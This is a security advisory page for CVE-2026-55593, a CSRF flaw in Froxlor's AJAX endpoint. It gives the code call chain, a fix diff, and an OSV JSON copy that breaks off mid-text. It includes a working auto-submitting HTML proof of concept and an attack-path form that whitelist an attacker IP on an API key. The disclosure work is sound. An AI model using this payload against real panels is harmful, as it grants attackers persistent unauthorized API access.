CVE-2026-55593: Froxlor/froxlor Froxlor Has CSRF Vulnerability Vulnerability

MODERATE
Advisory Identifier: GHSA-xpr4-8vp6-c87j
CVSS 6.5
CWE-352
Published
Advisory Summary

CVE-2026-55593 is a MODERATE (CVSS 6.5) froxlor has csrf vulnerability vulnerability (CWE-352: Cross-Site Request Forgery (CSRF)) affecting Froxlor/froxlor libraries in the Packagist ecosystem. The issue involves froxlor has csrf vulnerability in ajax endpoint — missing cross-site request forgery protection. Remediation is available by upgrading affected packages to version 2.3.8.

CVE-2026-55593 at a Glance

CVE Identifier CVE-2026-55593
GHSA Identifier GHSA-xpr4-8vp6-c87j
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-352: Cross-Site Request Forgery (CSRF)
Affected Product Froxlor/froxlor
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-55593

To remediate this vulnerability, upgrade all affected Froxlor/froxlor dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

froxlor/froxlor fixed: 2.3.8
Upgrade froxlor/froxlor to 2.3.8
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for froxlor/froxlor

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-55593, inspect your project dependencies for Froxlor/froxlor:

inspect dependencies for froxlor/froxlor

Analyze the terminal output to locate any version of Froxlor/froxlor in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.3.8), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-352: Cross-Site Request Forgery (CSRF), where the web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. In Froxlor/froxlor, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The Froxlor AJAX endpoint (`lib/ajax.php`) is missing Cross-Site Request Forgery (CSRF) protection. While the main application (`lib/init.php`) enforces CSRF token validation on all state-changing HTTP requests (POST/PUT/PATCH/DELETE), the standalone `lib/ajax.php` endpoint bypasses this mechanism entirely, validating only the user's session. An attacker can craft a malicious webpage that, when visited by an authenticated Froxlor administrator, silently modifies API key properties (e.g., adding the attacker's IP to the `allowed_from` whitelist or extending the `valid_until` expiration). --- ## Affected Component - **File:** `lib/ajax.php` — the AJAX endpoint entry point (bypasses `lib/init.php`) - **File:** `lib/Froxlor/Ajax/Ajax.php:66-92` — `Ajax::handle()` (no CSRF check before routing) - **File:** `lib/Froxlor/Ajax/Ajax.php:257-315` — `Ajax::editApiKey()` (writes to database without CSRF check) - **Version:** Froxlor 2.3.7 (likely all prior 2.x versions) --- ## Complete Call Chain: Entry Point → Vulnerable Code ### Step 1: Entry Point — `lib/ajax.php` (standalone bootstrap, bypasses `lib/init.php`) ```php // lib/ajax.php:26-47 namespace Froxlor; use Froxlor\Ajax\Ajax; require_once dirname(__DIR__) . '/vendor/autoload.php'; require_once dirname(__DIR__) . '/lib/userdata.inc.php'; require_once dirname(__DIR__) . '/lib/functions.php'; require_once dirname(__DIR__) . '/lib/tables.inc.php'; // CRITICAL: This file does NOT include lib/init.php // Therefore: NO CSRF token is checked before processing the request echo (new Ajax)->handle(); ``` **Contrast with normal flow:** All admin/customer pages (e.g., `admin_customers.php`, `customer_domains.php`) do: ```php const AREA = 'admin'; require __DIR__ . '/lib/init.php'; // <-- This enforces CSRF at lines 363-369 ``` ### Step 2: Ajax Constructor — Session Created, No CSRF Check ```php // lib/Froxlor/Ajax/Ajax.php:54-61 public function __construct() { $this->action = Request::any('action'); // <-- User-controlled from GET/POST $this->theme = Request::any('theme', 'Froxlor'); UI::sendHeaders(); // Starts session, sets security headers UI::sendSslHeaders(); // HSTS headers // MISSING: CSRF token validation on POST/PUT/PATCH/DELETE } ``` ### Step 3: Ajax::handle() — Session Validation Only, Routes to Action ```php // lib/Froxlor/Ajax/Ajax.php:66-92 public function handle() { $this->userinfo = $this->getValidatedSession(); // Only checks: isset($_SESSION['userinfo']) // MISSING: CSRF token validation before routing // Comparison: init.php lines 363-369 WOULD check here: // if (in_array($_SERVER['REQUEST_METHOD'], ['POST', 'PUT', 'PATCH', 'DELETE'])) { // $current_token = Request::post('csrf_token', ...); // if ($current_token != CurrentUser::getField('csrf_token')) { ERROR; } // } switch ($this->action) { case 'editapikey': return $this->editApiKey(); // <-- State-changing operation, no CSRF guard case 'updatetablelisting': return $this->updateTablelisting(); // <-- Also POST, also no CSRF // ... other cases } } ``` ### Step 4: getValidatedSession() — Only Checks Session Exists ```php // lib/Froxlor/Ajax/Ajax.php:97-103 private function getValidatedSession(): array { if (CurrentUser::hasSession() == false) { throw new Exception("No valid session"); } return CurrentUser::getData(); // hasSession() implementation (CurrentUser.php:47-50): // return !empty($_SESSION) && !empty($_SESSION['userinfo']); // This ONLY verifies a session exists. // It does NOT verify the request origin or CSRF token. } ``` ### Step 5: editApiKey() — Database Mutation Without Origin Validation ```php // lib/Froxlor/Ajax/Ajax.php:257-315 private function editApiKey() { // All three parameters come from attacker-controlled POST body: $keyid = Request::post('id', 0); // Source: $_POST['id'] $allowed_from = Request::post('allowed_from', ""); // Source: $_POST['allowed_from'] $valid_until = Request::post('valid_until', ""); // Source: $_POST['valid_until'] // ... IP format validation (not security-relevant for CSRF) ... // SINK: Direct database mutation $upd_stmt = Database::prepare(" UPDATE `api_keys` SET `valid_until` = :vu, `allowed_from` = :af WHERE `id` = :keyid AND `adminid` = :aid AND `customerid` = :cid "); Database::pexecute($upd_stmt, [ 'keyid' => $keyid, 'af' => $allowed_from, // Attacker's IP written here 'vu' => $valid_until_db, // -1 = never expires 'aid' => $this->userinfo['adminid'], 'cid' => $cid ]); return $this->jsonResponse(['allowed_from' => $allowed_from, 'valid_until' => $valid_until]); } ``` ### Step 6: Evidence from Legitimate Frontend — No CSRF Token Sent Even in Normal Usage ```javascript // templates/Froxlor/assets/js/jquery/apikeys.js:9-17 // Even the legitimate frontend does NOT send a csrf_token: $.ajax({ url: "lib/ajax.php?action=editapikey", type: "POST", dataType: "json", data: { id: akid, allowed_from: _this.val(), valid_until: $('div[data-entry="' + akid + '"] #valid_until').val() // NOTE: No csrf_token field here — the backend doesn't require it }, // ... }); ``` This confirms: the backend does not validate CSRF tokens, so the frontend code does not bother sending one. --- ## CSRF Protection Gap: Side-by-Side Comparison | Aspect | `lib/init.php` (Normal Pages) | `lib/ajax.php` (AJAX Endpoint) | |--------|------------------------------|-------------------------------| | **Includes init.php** | Yes (all admin_*.php, customer_*.php) | **No** — standalone bootstrap | | **Session validation** | ✅ `CurrentUser::hasSession()` | ✅ `CurrentUser::hasSession()` | | **CSRF token generation** | ✅ `Froxlor::genSessionId(20)` | ❌ Not generated | | **CSRF token check (POST/PUT/PATCH/DELETE)** | ✅ Lines 363-369 | **❌ Missing entirely** | | **Rate limiting** | ✅ `RateLimiter::run()` | ❌ Not called | | **Area enforcement** | ✅ Admin/Customer area check | ❌ Not enforced | --- ## Vulnerability Verification ### Attack Path (Complete) ``` [Attacker] Hosts malicious HTML page at https://attacker.com/csrf.html <form id="csrf" action="https://froxlor.example.com/lib/ajax.php?action=editapikey" method="POST"> <input type="hidden" name="id" value="1"> <input type="hidden" name="allowed_from" value="ATTACKER_IP"> <input type="hidden" name="valid_until" value="-1"> </form> <script>document.getElementById('csrf').submit();</script> │ ▼ [Victim] Froxlor administrator browses to https://attacker.com/csrf.html - Victim has an active session at https://froxlor.example.com - Session cookie: PHPSESSID=<valid>, SameSite=Lax │ ▼ [Browser] Auto-submits POST to https://froxlor.example.com/lib/ajax.php?action=editapikey - Cookie behavior depends on SameSite policy (see below) │ ▼ [Server: lib/ajax.php] → require userdata.inc.php, functions.php, tables.inc.php → (new Ajax)->handle() │ ▼ [Server: Ajax::__construct()] (Ajax.php:54-61) → $this->action = 'editapikey' (from GET query string) → UI::sendHeaders() → session_start() → NO CSRF CHECK │ ▼ [Server: Ajax::handle()] (Ajax.php:66-68) → getValidatedSession() → CurrentUser::hasSession() → TRUE (session cookie was sent with request) → NO CSRF CHECK before routing │ ▼ [Server: Ajax::editApiKey()] (Ajax.php:257-315) → $keyid = 1 (from POST) → $allowed_from = 'ATTACKER_IP' (from POST) → $valid_until_db = -1 (from POST, parsed) → UPDATE api_keys SET allowed_from='ATTACKER_IP', valid_until=-1 WHERE id=1 │ ▼ [Impact] API key #1 now allows connections from ATTACKER_IP, never expires ``` ### SameSite=Lax Analysis Froxlor sets session cookie with `SameSite=Lax` (UI.php:124): ```php // lib/Froxlor/UI/Panel/UI.php:118-125 session_set_cookie_params([ 'path' => '/', 'domain' => self::getCookieHost(), 'secure' => self::requestIsHttps(), // FALSE on HTTP deployments 'httponly' => true, 'samesite' => 'Lax' ]); session_start(); ``` **Why SameSite=Lax is NOT a complete mitigation:** 1. **HTTP deployments:** When `requestIsHttps()` returns false (plain HTTP), the `secure` flag is false. Many browsers (particularly older Safari and Firefox) require `Secure` for strict SameSite enforcement. Froxlor's own documentation supports HTTP deployment for internal networks, making this a realistic scenario. 2. **Safari browser:** Safari's SameSite implementation has known inconsistencies. Safari 13-15 on iOS/macOS may not enforce SameSite=Lax on POST requests as strictly as Chrome. 3. **Same-site subdomain attacks:** If an attacker compromises a subdomain of the same registrable domain (e.g., via DNS rebinding or subdomain takeover), SameSite=Lax provides zero protection — cookies are sent freely. 4. **Defense-in-depth failure:** CSRF tokens are the primary, proven defense against CSRF. SameSite cookies are a secondary defense. The absence of the primary defense leaves the application vulnerable whenever the secondary defense fails (browser bugs, HTTP deployments, subdomain attacks). ### Confirmed Vulnerable Actions in Ajax::handle() All POST-based actions in the switch statement lack CSRF protection: | Action | Method | State Change | Risk | |--------|--------|-------------|------| | `editapikey` | POST | UPDATE `api_keys` SET allowed_from, valid_until | **HIGH** | | `updatetablelisting` | POST | UPDATE `panel_usercolumns` (user preferences) | Low | | `getConfigDetails` | POST | Read-only (config parsing) | None | --- ## Impact - **Confidentiality:** None — the attacker cannot directly read data through this CSRF vector - **Integrity:** Medium — API key properties (`allowed_from`, `valid_until`) can be modified to add the attacker's IP to the whitelist and extend validity indefinitely. This is a stepping stone to API access (combined with another attack to obtain the API secret, such as VULN-20260526-001 plaintext secret storage). - **Availability:** Low — the attacker could set `valid_until` to a past timestamp, disabling the API key **Worst-case scenario:** An administrator-level API key has its `allowed_from` expanded to include the attacker's IP and its `valid_until` set to `-1` (never expires). If the attacker later obtains the plaintext API secret (e.g., via database backup exposure — see VULN-20260526-001), they gain persistent, unauthorized API access with administrator privileges. --- ## Proof of Concept ### PoC HTML File ```html <!-- csrf_poc.html --> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>CSRF PoC - Froxlor AJAX Endpoint</title> </head> <body> <h1>Cross-Site Request Forgery Proof of Concept</h1> <p>Target: Froxlor AJAX endpoint (lib/ajax.php?action=editapikey)</p> <p>If you see this page, the form has auto-submitted.</p> <!-- This form auto-submits to modify API key properties --> <form id="csrf-form" action="http://froxlor.example.com/lib/ajax.php?action=editapikey" method="POST"> <input type="hidden" name="id" value="1"> <input type="hidden" name="allowed_from" value="10.99.99.99"> <input type="hidden" name="valid_until" value=""> <!-- empty valid_until = -1 (never expires) --> </form> <script> // Auto-submit on page load document.addEventListener('DOMContentLoaded', function() { document.getElementById('csrf-form').submit(); }); </script> </body> </html> ``` ### Reproduction Steps 1. **Setup:** - Deploy Froxlor 2.3.7 on a test server (e.g., `http://192.168.1.100/`) - Create an administrator account and log in - Create at least one API key (Settings → API Keys) 2. **Prepare PoC:** - Host the PoC HTML file on a different origin (e.g., `http://attacker.local/csrf_poc.html`) - Note the Froxlor server is on `http://` (not HTTPS, common for internal deployments) 3. **Execute:** - Ensure the Froxlor administrator has an active session - Open the PoC HTML file in the **same browser** (different tab) - The form auto-submits 4. **Verify:** - Check the API key in the Froxlor admin panel - The `allowed_from` field now contains `10.99.99.99` - The `valid_until` field shows no expiration - Or verify directly: `SELECT id, allowed_from, valid_until FROM api_keys WHERE id=1;` ### Expected Result Before attack: ``` id | allowed_from | valid_until 1 | | 1735689600 ``` After attack: ``` id | allowed_from | valid_until 1 | 10.99.99.99 | -1 ``` --- ## Root Cause The `lib/ajax.php` endpoint was implemented as a completely standalone entry point that initializes its own minimal environment. It does not include `lib/init.php`, which provides centralized security controls (CSRF validation, rate limiting, area enforcement) for all standard admin and customer pages. Architecturally, there are two security enforcement paths: 1. **Normal pages:** `admin_*.php` → `require lib/init.php` → CSRF check ✅ 2. **AJAX endpoint:** `lib/ajax.php` → `new Ajax()->handle()` → CSRF check ❌ The `Ajax` class performs its own session validation (`getValidatedSession()`) but omits CSRF token verification entirely. The legitimate frontend JavaScript code (`apikeys.js`) also does not send a CSRF token because the backend does not require one. --- ## Fix Recommendation ### Option A (Recommended): Route AJAX Through init.php Refactor `lib/ajax.php` to use the standard bootstrap, ensuring all security controls apply uniformly: ```php // lib/ajax.php — Refactored const AREA = 'ajax'; require __DIR__ . '/init.php'; use Froxlor\Ajax\Ajax; try { echo (new Ajax)->handle(); } catch (Exception $e) { header("Content-Type: application/json"); echo \Froxlor\Api\Response::jsonErrorResponse($e->getMessage(), 500); } ``` **Pros:** All security controls (CSRF, rate limiting, session management, area enforcement) apply uniformly. No code duplication. **Cons:** Requires frontend changes to include CSRF token in AJAX requests. ### Option B (Minimal): Add CSRF Check to Ajax Class Add CSRF token validation directly in the `Ajax` class: ```diff // lib/Froxlor/Ajax/Ajax.php public function handle() { $this->userinfo = $this->getValidatedSession(); + // CSRF Protection — mirror init.php:363-369 + if (in_array($_SERVER['REQUEST_METHOD'], ['POST', 'PUT', 'PATCH', 'DELETE'])) { + $token_from_request = Request::post('csrf_token', + $_SERVER['HTTP_X_CSRF_TOKEN'] ?? null); + $stored_token = $this->userinfo['csrf_token'] ?? ''; + if (empty($token_from_request) || !hash_equals($stored_token, $token_from_request)) { + return $this->errorResponse('CSRF validation failed', 403); + } + } switch ($this->action) { // ... existing cases unchanged } } ``` **Frontend changes required (for both options):** ```diff // templates/Froxlor/assets/js/jquery/apikeys.js $.ajax({ url: "lib/ajax.php?action=editapikey", type: "POST", dataType: "json", data: { id: akid, allowed_from: _this.val(), valid_until: $('div[data-entry="' + akid + '"] #valid_until').val(), + csrf_token: $('meta[name="csrf-token"]').attr('content') }, // ... }); ``` ### CSRF Token Available in Twig Templates The CSRF token is already available as a Twig global variable (`{{ csrf_token }}`) set in `init.php:361`. Templates can expose it via: ```html <meta name="csrf-token" content="{{ csrf_token }}"> ``` ---

CVE-2026-55593 Affected Froxlor/froxlor Versions

1 component(s)
Fixed Versions:
2.3.8
Product / Package Ecosystem Affected Versions Fixed Version
froxlor/froxlor
Packagist
< 2.3.8
2.3.8

References

Frequently Asked Questions

What is CVE-2026-55593?
CVE-2026-55593 is a security vulnerability in Froxlor/froxlor involving Froxlor has CSRF Vulnerability in AJAX Endpoint — Missing Cross-Site Request Forgery Protection under CWE-352: Cross-Site Request Forgery (CSRF).
Which Froxlor/froxlor versions are affected?
Affected versions include releases prior to 2.3.8 across affected packages: froxlor/froxlor.
What version fixes CVE-2026-55593?
Upgrading to 2.3.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is froxlor/froxlor affected?
Yes, froxlor/froxlor is affected in releases prior to 2.3.8. Upgrade your dependency to 2.3.8 or later.
What is the CVSS score of CVE-2026-55593?
CVE-2026-55593 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-55593?
CVE-2026-55593 is classified under CWE-352: Cross-Site Request Forgery (CSRF) (The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.).
How can I check Packagist dependencies for CVE-2026-55593?
Run the dependency tree command: 'inspect dependencies for froxlor/froxlor'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xpr4-8vp6-c87j",
  "modified" : "2026-08-18T20:48:30Z",
  "published" : "2026-08-18T20:48:30Z",
  "aliases" : [ "CVE-2026-55593" ],
  "summary" : "Froxlor has CSRF Vulnerability in AJAX Endpoint — Missing Cross-Site Request Forgery Protection",
  "details" : "## Summary\n\nThe Froxlor AJAX endpoint (`lib/ajax.php`) is missing Cross-Site Request Forgery (CSRF) protection. While the main application (`lib/init.php`) enforces CSRF token validation on all state-changing HTTP requests (POST/PUT/PATCH/DELETE), the standalone `lib/ajax.php` endpoint bypasses this mechanism entirely, validating only the user's session. An attacker can craft a malicious webpage that, when visited by an authenticated Froxlor administrator, silently modifies API key properties (e.g., adding the attacker's IP to the `allowed_from` whitelist or extending the `valid_until` expiration).\n\n---\n\n## Affected Component\n\n- **File:** `lib/ajax.php` — the AJAX endpoint entry point (bypasses `lib/init.php`)\n- **File:** `lib/Froxlor/Ajax/Ajax.php:66-92` — `Ajax::handle()` (no CSRF check before routing)\n- **File:** `lib/Froxlor/Ajax/Ajax.php:257-315` — `Ajax::editApiKey()` (writes to database without CSRF check)\n- **Version:** Froxlor 2.3.7 (likely all prior 2.x versions)\n\n---\n\n## Complete Call Chain: Entry Point → Vulnerable Code\n\n### Step 1: Entry Point — `lib/ajax.php` (standalone bootstrap, bypasses `lib/init.php`)\n\n```php\n// lib/ajax.php:26-47\nnamespace Froxlor;\n\nuse Froxlor\\Ajax\\Ajax;\n\nrequire_once dirname(__DIR__) . '/vendor/autoload.php';\nrequire_once dirname(__DIR__) . '/lib/userdata.inc.php';\nrequire_once dirname(__DIR__) . '/lib/functions.php';\nrequire_once dirname(__DIR__) . '/lib/tables.inc.php';\n\n// CRITICAL: This file does NOT include lib/init.php\n// Therefore: NO CSRF token is checked before processing the request\necho (new Ajax)->handle();\n```\n\n**Contrast with normal flow:** All admin/customer pages (e.g., `admin_customers.php`, `customer_domains.php`) do:\n```php\nconst AREA = 'admin';\nrequire __DIR__ . '/lib/init.php';  // <-- This enforces CSRF at lines 363-369\n```\n\n### Step 2: Ajax Constructor — Session Created, No CSRF Check\n\n```php\n// lib/Froxlor/Ajax/Ajax.php:54-61\npublic function __construct()\n{\n    $this->action = Request::any('action');  // <-- User-controlled from GET/POST\n    $this->theme = Request::any('theme', 'Froxlor');\n\n    UI::sendHeaders();        // Starts session, sets security headers\n    UI::sendSslHeaders();     // HSTS headers\n    // MISSING: CSRF token validation on POST/PUT/PATCH/DELETE\n}\n```\n\n### Step 3: Ajax::handle() — Session Validation Only, Routes to Action\n\n```php\n// lib/Froxlor/Ajax/Ajax.php:66-92\npublic function handle()\n{\n    $this->userinfo = $this->getValidatedSession();  // Only checks: isset($_SESSION['userinfo'])\n    // MISSING: CSRF token validation before routing\n    // Comparison: init.php lines 363-369 WOULD check here:\n    //   if (in_array($_SERVER['REQUEST_METHOD'], ['POST', 'PUT', 'PATCH', 'DELETE'])) {\n    //       $current_token = Request::post('csrf_token', ...);\n    //       if ($current_token != CurrentUser::getField('csrf_token')) { ERROR; }\n    //   }\n\n    switch ($this->action) {\n        case 'editapikey':\n            return $this->editApiKey();   // <-- State-changing operation, no CSRF guard\n        case 'updatetablelisting':\n            return $this->updateTablelisting();  // <-- Also POST, also no CSRF\n        // ... other cases\n    }\n}\n```\n\n### Step 4: getValidatedSession() — Only Checks Session Exists\n\n```php\n// lib/Froxlor/Ajax/Ajax.php:97-103\nprivate function getValidatedSession(): array\n{\n    if (CurrentUser::hasSession() == false) {\n        throw new Exception(\"No valid session\");\n    }\n    return CurrentUser::getData();\n    // hasSession() implementation (CurrentUser.php:47-50):\n    //   return !empty($_SESSION) && !empty($_SESSION['userinfo']);\n    // This ONLY verifies a session exists.\n    // It does NOT verify the request origin or CSRF token.\n}\n```\n\n### Step 5: editApiKey() — Database Mutation Without Origin Validation\n\n```php\n// lib/Froxlor/Ajax/Ajax.php:257-315\nprivate function editApiKey()\n{\n    // All three parameters come from attacker-controlled POST body:\n    $keyid = Request::post('id', 0);                    // Source: $_POST['id']\n    $allowed_from = Request::post('allowed_from', \"\");  // Source: $_POST['allowed_from']\n    $valid_until = Request::post('valid_until', \"\");    // Source: $_POST['valid_until']\n\n    // ... IP format validation (not security-relevant for CSRF) ...\n\n    // SINK: Direct database mutation\n    $upd_stmt = Database::prepare(\"\n        UPDATE `api_keys` SET\n        `valid_until` = :vu, `allowed_from` = :af\n        WHERE `id` = :keyid AND `adminid` = :aid AND `customerid` = :cid\n    \");\n    Database::pexecute($upd_stmt, [\n        'keyid' => $keyid,\n        'af' => $allowed_from,     // Attacker's IP written here\n        'vu' => $valid_until_db,   // -1 = never expires\n        'aid' => $this->userinfo['adminid'],\n        'cid' => $cid\n    ]);\n    return $this->jsonResponse(['allowed_from' => $allowed_from, 'valid_until' => $valid_until]);\n}\n```\n\n### Step 6: Evidence from Legitimate Frontend — No CSRF Token Sent Even in Normal Usage\n\n```javascript\n// templates/Froxlor/assets/js/jquery/apikeys.js:9-17\n// Even the legitimate frontend does NOT send a csrf_token:\n$.ajax({\n    url: \"lib/ajax.php?action=editapikey\",\n    type: \"POST\",\n    dataType: \"json\",\n    data: {\n        id: akid,\n        allowed_from: _this.val(),\n        valid_until: $('div[data-entry=\"' + akid + '\"] #valid_until').val()\n        // NOTE: No csrf_token field here — the backend doesn't require it\n    },\n    // ...\n});\n```\n\nThis confirms: the backend does not validate CSRF tokens, so the frontend code does not bother sending one.\n\n---\n\n## CSRF Protection Gap: Side-by-Side Comparison\n\n| Aspect | `lib/init.php` (Normal Pages) | `lib/ajax.php` (AJAX Endpoint) |\n|--------|------------------------------|-------------------------------|\n| **Includes init.php** | Yes (all admin_*.php, customer_*.php) | **No** — standalone bootstrap |\n| **Session validation** | ✅ `CurrentUser::hasSession()` | ✅ `CurrentUser::hasSession()` |\n| **CSRF token generation** | ✅ `Froxlor::genSessionId(20)` | ❌ Not generated |\n| **CSRF token check (POST/PUT/PATCH/DELETE)** | ✅ Lines 363-369 | **❌ Missing entirely** |\n| **Rate limiting** | ✅ `RateLimiter::run()` | ❌ Not called |\n| **Area enforcement** | ✅ Admin/Customer area check | ❌ Not enforced |\n\n---\n\n## Vulnerability Verification\n\n### Attack Path (Complete)\n\n```\n[Attacker] Hosts malicious HTML page at https://attacker.com/csrf.html\n\n    <form id=\"csrf\" action=\"https://froxlor.example.com/lib/ajax.php?action=editapikey\"\n          method=\"POST\">\n      <input type=\"hidden\" name=\"id\" value=\"1\">\n      <input type=\"hidden\" name=\"allowed_from\" value=\"ATTACKER_IP\">\n      <input type=\"hidden\" name=\"valid_until\" value=\"-1\">\n    </form>\n    <script>document.getElementById('csrf').submit();</script>\n\n        │\n        ▼\n[Victim] Froxlor administrator browses to https://attacker.com/csrf.html\n  - Victim has an active session at https://froxlor.example.com\n  - Session cookie: PHPSESSID=<valid>, SameSite=Lax\n        │\n        ▼\n[Browser] Auto-submits POST to https://froxlor.example.com/lib/ajax.php?action=editapikey\n  - Cookie behavior depends on SameSite policy (see below)\n        │\n        ▼\n[Server: lib/ajax.php]\n  → require userdata.inc.php, functions.php, tables.inc.php\n  → (new Ajax)->handle()\n        │\n        ▼\n[Server: Ajax::__construct()]  (Ajax.php:54-61)\n  → $this->action = 'editapikey'  (from GET query string)\n  → UI::sendHeaders() → session_start()\n  → NO CSRF CHECK\n        │\n        ▼\n[Server: Ajax::handle()]  (Ajax.php:66-68)\n  → getValidatedSession() → CurrentUser::hasSession() → TRUE\n    (session cookie was sent with request)\n  → NO CSRF CHECK before routing\n        │\n        ▼\n[Server: Ajax::editApiKey()]  (Ajax.php:257-315)\n  → $keyid = 1 (from POST)\n  → $allowed_from = 'ATTACKER_IP' (from POST)\n  → $valid_until_db = -1 (from POST, parsed)\n  → UPDATE api_keys SET allowed_from='ATTACKER_IP', valid_until=-1 WHERE id=1\n        │\n        ▼\n[Impact] API key #1 now allows connections from ATTACKER_IP, never expires\n```\n\n### SameSite=Lax Analysis\n\nFroxlor sets session cookie with `SameSite=Lax` (UI.php:124):\n\n```php\n// lib/Froxlor/UI/Panel/UI.php:118-125\nsession_set_cookie_params([\n    'path' => '/',\n    'domain' => self::getCookieHost(),\n    'secure' => self::requestIsHttps(),    // FALSE on HTTP deployments\n    'httponly' => true,\n    'samesite' => 'Lax'\n]);\nsession_start();\n```\n\n**Why SameSite=Lax is NOT a complete mitigation:**\n\n1. **HTTP deployments:** When `requestIsHttps()` returns false (plain HTTP), the `secure` flag is false. Many browsers (particularly older Safari and Firefox) require `Secure` for strict SameSite enforcement. Froxlor's own documentation supports HTTP deployment for internal networks, making this a realistic scenario.\n\n2. **Safari browser:** Safari's SameSite implementation has known inconsistencies. Safari 13-15 on iOS/macOS may not enforce SameSite=Lax on POST requests as strictly as Chrome.\n\n3. **Same-site subdomain attacks:** If an attacker compromises a subdomain of the same registrable domain (e.g., via DNS rebinding or subdomain takeover), SameSite=Lax provides zero protection — cookies are sent freely.\n\n4. **Defense-in-depth failure:** CSRF tokens are the primary, proven defense against CSRF. SameSite cookies are a secondary defense. The absence of the primary defense leaves the application vulnerable whenever the secondary defense fails (browser bugs, HTTP deployments, subdomain attacks).\n\n### Confirmed Vulnerable Actions in Ajax::handle()\n\nAll POST-based actions in the switch statement lack CSRF protection:\n\n| Action | Method | State Change | Risk |\n|--------|--------|-------------|------|\n| `editapikey` | POST | UPDATE `api_keys` SET allowed_from, valid_until | **HIGH** |\n| `updatetablelisting` | POST | UPDATE `panel_usercolumns` (user preferences) | Low |\n| `getConfigDetails` | POST | Read-only (config parsing) | None |\n\n---\n\n## Impact\n\n- **Confidentiality:** None — the attacker cannot directly read data through this CSRF vector\n- **Integrity:** Medium — API key properties (`allowed_from`, `valid_until`) can be modified to add the attacker's IP to the whitelist and extend validity indefinitely. This is a stepping stone to API access (combined with another attack to obtain the API secret, such as VULN-20260526-001 plaintext secret storage).\n- **Availability:** Low — the attacker could set `valid_until` to a past timestamp, disabling the API key\n\n**Worst-case scenario:** An administrator-level API key has its `allowed_from` expanded to include the attacker's IP and its `valid_until` set to `-1` (never expires). If the attacker later obtains the plaintext API secret (e.g., via database backup exposure — see VULN-20260526-001), they gain persistent, unauthorized API access with administrator privileges.\n\n---\n\n## Proof of Concept\n\n### PoC HTML File\n\n```html\n<!-- csrf_poc.html -->\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <title>CSRF PoC - Froxlor AJAX Endpoint</title>\n</head>\n<body>\n    <h1>Cross-Site Request Forgery Proof of Concept</h1>\n    <p>Target: Froxlor AJAX endpoint (lib/ajax.php?action=editapikey)</p>\n    <p>If you see this page, the form has auto-submitted.</p>\n\n    <!-- This form auto-submits to modify API key properties -->\n    <form id=\"csrf-form\"\n          action=\"http://froxlor.example.com/lib/ajax.php?action=editapikey\"\n          method=\"POST\">\n        <input type=\"hidden\" name=\"id\" value=\"1\">\n        <input type=\"hidden\" name=\"allowed_from\" value=\"10.99.99.99\">\n        <input type=\"hidden\" name=\"valid_until\" value=\"\">\n        <!-- empty valid_until = -1 (never expires) -->\n    </form>\n\n    <script>\n        // Auto-submit on page load\n        document.addEventListener('DOMContentLoaded', function() {\n            document.getElementById('csrf-form').submit();\n        });\n    </script>\n</body>\n</html>\n```\n\n### Reproduction Steps\n\n1. **Setup:**\n   - Deploy Froxlor 2.3.7 on a test server (e.g., `http://192.168.1.100/`)\n   - Create an administrator account and log in\n   - Create at least one API key (Settings → API Keys)\n\n2. **Prepare PoC:**\n   - Host the PoC HTML file on a different origin (e.g., `http://attacker.local/csrf_poc.html`)\n   - Note the Froxlor server is on `http://` (not HTTPS, common for internal deployments)\n\n3. **Execute:**\n   - Ensure the Froxlor administrator has an active session\n   - Open the PoC HTML file in the **same browser** (different tab)\n   - The form auto-submits\n\n4. **Verify:**\n   - Check the API key in the Froxlor admin panel\n   - The `allowed_from` field now contains `10.99.99.99`\n   - The `valid_until` field shows no expiration\n   - Or verify directly: `SELECT id, allowed_from, valid_until FROM api_keys WHERE id=1;`\n\n### Expected Result\n\nBefore attack:\n```\nid | allowed_from | valid_until\n1  |              | 1735689600\n```\n\nAfter attack:\n```\nid | allowed_from   | valid_until\n1  | 10.99.99.99    | -1\n```\n\n---\n\n## Root Cause\n\nThe `lib/ajax.php` endpoint was implemented as a completely standalone entry point that initializes its own minimal environment. It does not include `lib/init.php`, which provides centralized security controls (CSRF validation, rate limiting, area enforcement) for all standard admin and customer pages.\n\nArchitecturally, there are two security enforcement paths:\n1. **Normal pages:** `admin_*.php` → `require lib/init.php` → CSRF check ✅\n2. **AJAX endpoint:** `lib/ajax.php` → `new Ajax()->handle()` → CSRF check ❌\n\nThe `Ajax` class performs its own session validation (`getValidatedSession()`) but omits CSRF token verification entirely. The legitimate frontend JavaScript code (`apikeys.js`) also does not send a CSRF token because the backend does not require one.\n\n---\n\n## Fix Recommendation\n\n### Option A (Recommended): Route AJAX Through init.php\n\nRefactor `lib/ajax.php` to use the standard bootstrap, ensuring all security controls apply uniformly:\n\n```php\n// lib/ajax.php — Refactored\nconst AREA = 'ajax';\nrequire __DIR__ . '/init.php';\n\nuse 